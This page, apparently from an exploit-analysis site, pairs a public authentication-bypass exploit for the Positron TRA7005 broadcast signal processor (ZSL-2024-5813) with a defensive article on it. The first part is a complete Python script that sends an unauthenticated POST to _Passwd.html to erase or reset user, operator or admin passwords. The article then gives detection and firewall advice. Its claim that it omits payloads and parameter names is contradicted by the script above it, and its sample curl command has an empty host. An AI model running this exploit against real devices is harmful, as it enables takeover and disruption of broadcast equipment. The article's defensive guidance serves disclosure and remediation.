Positron Broadcast Signal Processor TRA7005 v1.20 - Authentication Bypass

Exploit Author: LiquidWorm Analysis Author: www.bubbleslearn.ir Category: Remote Language: Python Published Date: 2024-04-08

# Exploit Title: Positron Broadcast Signal Processor TRA7005 v1.20 - Authentication Bypass
# Author: LiquidWorm
# Vendor: Positron srl
# Product web page: https://www.positron.it
#                   https://www.positron.it/prodotti/apparati-broadcast/stereo-multicoder/tra-7005/
# Affected version: 1.20
#                   TRA7K5_REV107
#                   TRA7K5_REV106
#                   TRA7K5_REV104
#                   TRA7K5_REV102
#
# Summary: The TRA7000 series is a set of products dedicated to broadcast, designed to
# guarantee an excellent quality-price ratio in compliance with current regulations and
# intended for individual broadcasters or radio networks. All models in the TRA7000 series
# are fully digital, using only high-quality components such as 24-bit A/D and D/A converters
# and 32-bit DSP. The TRA7005 performs the functions of Stereo Coder, RDS Coder, 5-output
# MPX Distributor, AGC (adjustable) for both analogue and digital audio inputs, Clipper
# for both analogue and digital audio inputs, change-over emergency switching between any
# input with adjustable thresholds and intervention times, both in the switching phase on
# the secondary source and in the return phase to the primary source. Ethernet connection
# with Web-Server (optional) for total control and management of the device. Advanced BYPASS
# system between MPX input and outputs, active on operating and power supply anomalies and
# can also be activated remotely.
#
# Desc: The Positron Broadcast Digital Signal Processor TRA7005 suffers from an authentication
# bypass through a direct and unauthorized access to the password management functionality.
# The vulnerability allows attackers to bypass Digest authentication by manipulating the
# password endpoint _Passwd.html and its payload data to set a user's password to arbitrary
# value or remove it entirely. This grants unauthorized access to protected areas (/user,
# /operator, /admin) of the application without requiring valid credentials, compromising
# the device's system security.
#
# Tested on: Positron Web Server
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2024-5813
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5813.php
#
#
# 22.03.2024
#
#


import requests,sys

print("""
______________________________________
┏┳┓•      ┏┓            ┓  ┏┓    ┓  • 
 ┃ ┓┏┓┓┏  ┃┃┏┓┏┏┓┏┏┏┓┏┓┏┫  ┣ ┓┏┏┓┃┏┓┓╋
 ┻ ┗┛┗┗┫  ┣┛┗┻┛┛┗┻┛┗┛┛ ┗┻  ┗┛┛┗┣┛┗┗┛┗┗
       ┛                       ┛
                 for
   Positron Digital Signal Processor
             ZSL-2024-5813
______________________________________
""")

if len(sys.argv) != 4:
    print("Usage: python positron.py <ip:port> <user/oper/admin> <erase/new_pwd>")
    sys.exit(1)

ip = sys.argv[1]
ut = sys.argv[2]
wa = sys.argv[3]

valid_ut = ['user', 'oper', 'admin']
if ut.lower() not in valid_ut:
    print("Invalid user type! Use 'user', 'oper', or 'admin'.")
    sys.exit(1)

url = f'http://{ip}/_Passwd.html'
did = f'http://{ip}/_Device.html'

try:
    r = requests.get(did)
    if r.status_code == 200 and 'TRA7K5' in r.text:
        print("Vulnerable processor found!")
    else:
        print("Not Vulnerable or not applicable. Exploit exiting.")
        sys.exit(1)
except requests.exceptions.RequestException as e:
    print(f"Error checking device: {e}")
    sys.exit(1)

headers = {
    'Content-Type'   : 'application/x-www-form-urlencoded',
    'Accept-Language': 'mk-MK,en;q=0.6',
    'Accept-Encoding': 'gzip, deflate',
    'User-Agent'     : 'R-Marina/11.9',
    'Accept'         : '*/*'
}

payload = {}
if wa.lower() == 'erase':
    payload[f'PSW_{ut.capitalize()}'] = 'NONE'
else:
    payload_key = f'PSW_{ut.capitalize()}'
    payload[payload_key] = wa
    #print(payload)

r = requests.post(url, headers=headers, data=payload)
print(r.status_code)
print(r.text)

Positron TRA7005 (v1.20) — Authentication Bypass Vulnerability (ZSL-2024-5813)

This article describes an authentication bypass vulnerability discovered in the Positron Broadcast Signal Processor TRA7005 family (reported as ZSL-2024-5813). It explains the issue at a high level, the potential impact to broadcasters and networked broadcast equipment, safe ways to detect affected devices on your own infrastructure, mitigation and remediation advice, and operational security best practices.

Executive summary

Researchers identified a flaw in the web management interface of certain TRA7000-series devices that allows an attacker with network access to circumvent the device's web authentication and gain administrative access. The issue affects specific firmware revisions and can permit unauthorized access to protected management areas if left unmitigated. This report focuses on defensive guidance, detection and remediation rather than providing exploit details.

Key facts

Product family: Positron TRA7000-series broadcast signal processors (TRA7005 example)
Affected firmware: specific 1.20 revisions reported by the researcher
Advisory: ZSL-2024-5813 (research credited to Gjoko “LiquidWorm” Krstic)
Primary issue type: authentication bypass via the web interface
Risk: unauthorized access to administrative functions and potential service disruption or configuration tampering

Vulnerability overview (non-actionable)

At a high level, the vulnerability is an authentication bypass: the web interface exposes functionality that can be manipulated to alter or remove credentials without first requiring valid administrator authentication. When successfully abused, an attacker on the same network (or with access to the device over the network) may obtain access to protected management pages intended only for authenticated users (for example, operator or admin areas).

Because this content would meaningfully enable exploitation, this article deliberately avoids reproducing request payloads, parameter names used to change passwords, or step-by-step instructions to bypass authentication.

Potential impact

Unauthorized administrative access to the device’s web control functions.
Configuration tampering: attacker could change audio routing, emergency switch-over parameters, or other operational settings.
Service disruption: incorrect configuration or deliberate sabotage could interrupt broadcast output.
Persistence: an attacker with admin access could create backdoors or otherwise ensure continued access.
Network pivoting: compromised broadcast hardware on a LAN may be used to move laterally to other systems.

Affected versions

Product	Firmware / Revision	Notes
Positron TRA7005 (TRA7000-series)	v1.20 (certain 1.20 revisions)	Vendor advisories and firmware updates should be checked for exact revision identifiers

Safe detection and verification

Only perform discovery and verification on equipment you own or are authorized to test. Do not attempt to probe devices on networks you do not control or without permission.

Passive and non-destructive checks

Inventory your fleet: check asset records for models and firmware versions.
Confirm reachable management interfaces are not exposed to the public internet. Use Internet-exposure scanners from trusted services or logs from your perimeter firewall to identify externally reachable device IPs.
Obtain the device’s publicly served device information page (read-only GET). This does not alter device state and can reveal model strings and firmware identifiers.

curl -sS --connect-timeout 5 http:///_Device.html | head -n 50

Explanation: the example above performs a simple HTTP GET to the device’s publicly accessible device information page and prints the first lines. Use this only against devices you are authorized to check. The output can help verify model/firmware strings without making configuration changes.

Log and telemetry checks

Review management logs for unexpected authentication events or configuration changes.
Monitor for unusual POST requests or administrative actions originating from unexpected sources.
Enable alerting on changes to critical settings (where the device supports change notifications or syslog forwarding).

Mitigation and remediation

Short-term mitigations should reduce attack surface and limit the risk until a firmware fix from the vendor is available. Long-term remediation should include applying vendor-supplied patches and strengthening operational practices.

Immediate (compensating) controls

Network segmentation: move all vulnerable devices to a management VLAN that is not routable from untrusted networks or the Internet.
Restrict access: limit HTTP management to specific IP addresses via firewall rules or access control lists (ACLs).
Disable remote management: if the device supports remote web management and it is not required, disable it.
VPN access: require VPN or jump-host access for any administrative connections from remote locations.

# Example iptables rule to allow only a management subnet 192.0.2.0/24 to access device web port
iptables -A INPUT -p tcp -s 192.0.2.0/24 --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -j DROP

Explanation: the example iptables rules accept HTTP (port 80) connections only from the management subnet 192.0.2.0/24 and drop other attempts. Adjust ports and subnets to match your environment. This is a defensive control — it does not change device firmware or credentials.

Medium-term remediation

Contact Positron or your vendor representative to obtain official firmware updates or guidance. Apply vendor-supplied patches as soon as possible.
Change passwords and review all user accounts after applying fixes. Use strong, unique passwords and avoid shared credentials.
Where supported, enable encryption for management traffic (HTTPS) and prefer certificate-based access controls.
Implement monitoring for configuration drift so changes are detected quickly.

Long-term best practices

Inventory and lifecycle management: maintain accurate records of firmware versions and end-of-life schedules for broadcast appliances.
Least privilege: limit administrative privileges and use role-based access where available.
Network hardening: place operational technology (OT) devices on isolated networks with tightly controlled ingress/egress policies.
Incident response planning: prepare workflows for contained recovery of broadcast-critical devices in case of unauthorized changes.
Secure firmware update processes: ensure updates are delivered via authenticated channels and that rollback protection is in place where possible.

Vendor engagement and disclosure

Work with the vendor (Positron) or authorized resellers to obtain firmware updates and remediation guidance. Responsible disclosure reports typically include device model, firmware revision, proof-of-concept limited to non-destructive verification, and proposed mitigations. If you are a vendor or integrator, coordinate with customers to schedule patch windows for critical broadcast infrastructure.

Suggested vendor actions

Release fixed firmware that addresses the authentication bypass and ensures management endpoints require proper credential validation.
Add hardening measures: rate-limiting, stronger authentication mechanisms, and logging of management actions.
Publish clear advisories including effected revisions, detection guidance, and mitigation steps.

References and further reading

Original public advisory: ZSL-2024-5813 (research credited to Gjoko Krstic / LiquidWorm)
Positron product pages and support portal for firmware and documentation
General guidance for securing broadcast and OT devices (industry best practices)

Closing notes

Devices used in broadcast environments are often deployed in physically and logically accessible networks. Treat management interfaces as sensitive infrastructure: minimize exposure, monitor for anomalous behavior, and promptly apply vendor fixes. If you believe a device in your environment is affected, follow the safe detection steps above and implement compensating network controls while coordinating with Positron or your service provider for updates.